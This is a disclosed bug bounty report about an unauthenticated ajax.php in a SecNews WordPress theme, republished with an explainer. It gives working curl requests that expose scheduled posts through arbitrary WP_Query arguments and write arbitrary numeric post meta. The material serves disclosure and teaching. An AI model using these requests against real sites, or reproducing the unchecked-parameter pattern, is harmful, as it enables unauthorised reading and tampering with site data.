Skip to content
Access control Disclosed report Beginner

Querying private posts and changing post meta

An unauthenticated PHP file in a WordPress theme accepted request parameters and passed them straight into a WP_Query call and into add_post_meta(), so anyone could run arbitrary post queries and write numeric post meta. An attacker could read unpublished scheduled posts and alter plugin or theme behaviour, such as hiding a background image or faking a share count.

sameoldstory Follow

Originally disclosed on HackerOne

  • Triaged in 32 hours
  • Fixed in 33 hours
  • Paid in 33 hours
  • Disclosed after 42 hours

Summary by the program

Unauthenticated user can run arbitrary post queries and insert arbitrary numeric post meta via vulnerable /wp-content/themes/SecNews-NewCustom/functions/ajax.php file. The researcher have done a great job. We appreciate security researching work that are according to our bug bounty program.

The report

Summary

Unauthenticated user can run arbitrary post queries and insert arbitrary numeric post meta via vulnerable /wp-content/themes/SecNews-NewCustom/functions/ajax.php file.

I'm including two exploits in one report because the fix for both is the same, i.e. delete ajax.php.

Run arbitrary post queries

Consider this request:

curl https://www.secnews.gr/wp-content/themes/SecNews-NewCustom/functions/ajax.php \
--data 'action=sort&loop=main loop&currentquery[key1]=value1&currentquery[key2]=value2'

It executes a WP_Query against the database with array('key1' => 'value1', 'key2' => 'value2') as the argument.

Attacker can exploit this, for example, to see posts that are scheduled to be published in the future, i.e. posts that are not public yet:

curl https://www.secnews.gr/wp-content/themes/SecNews-NewCustom/functions/ajax.php \
--data 'action=sort&loop=main loop&currentquery[post_status]=future'

For example "Δείτε τα πιο Geeky Raspberry Pi Smartwatches!" by Bl4ckPr0xyon will be published on 15.08.2016 at 13:21, i.e. in 8 days from today.

Insert arbitrary numeric post meta

Consider this request:

curl https://www.secnews.gr/wp-content/themes/SecNews-NewCustom/functions/ajax.php \
--data 'id=100000&action=rate&meta=test&rating=42'

The request parameters get passed to add_post_meta() function, which inserts a row to the post's meta with an arbitrary key and arbitrary value. The value can only be a number though.

mysql> select * from wp_postmeta where meta_key = "test";
+---------+----------+------------+
| post_id | meta_key | meta_value |
+---------+----------+------------+
|  100000 | test     | 42         |
+---------+----------+------------+

This can be used by attacker to alter behavior of plugins and themes. For example:

Potentially this can be used to:

  • Change booleans, counters and timestamps in other plugins leading to information disclosure or website defacement.
  • Unnoticeably fill the database with garbage data until the disk space is full.

Affected posts

While looking for vulnerabilities I changed some meta for posts 95513, 100000 and 104030. You can clean it up with something like this: DELETE * FROM wp_postmeta WHERE post_id IN (95513, 100000, 104030) AND meta_key IN ('_bg_color_override', 'mashsb_shares', 'mashsb_timestamp');

The original report as published on HackerOne, by sameoldstory. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An unauthenticated attacker could read scheduled, not-yet-public posts and could change numeric post meta to alter plugin and theme behaviour, potentially causing information disclosure, defacement or database bloat; the text notes the injected value can only be a number.

What the attacker needed

No account needed; network access to the theme file

The fix

The vulnerable ajax.php file should be deleted, which the researcher says fixes both issues.

How it was found

  1. Send a POST request to the theme's ajax.php with an action parameter and a currentquery array of query arguments.
  2. Observe that the site runs a WP_Query with those arguments against the database.
  3. Set the post status argument to future to list posts scheduled for later publication.
  4. Send a second request with an id, an action of rate, a meta key and a numeric rating value.
  5. Observe that a new row with that key and value appears in the post meta table.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A WordPress theme shipped a small helper script that anyone on the internet could call without logging in. That script took values from the request and used them directly to ask the database for posts and to save extra data on a post. Because nothing checked who was calling or what values were allowed, a stranger could read posts that were not published yet and change small settings that other parts of the site rely on.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by sameoldstory

View all

7 more disclosed reports, best first.

More from SecNews

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.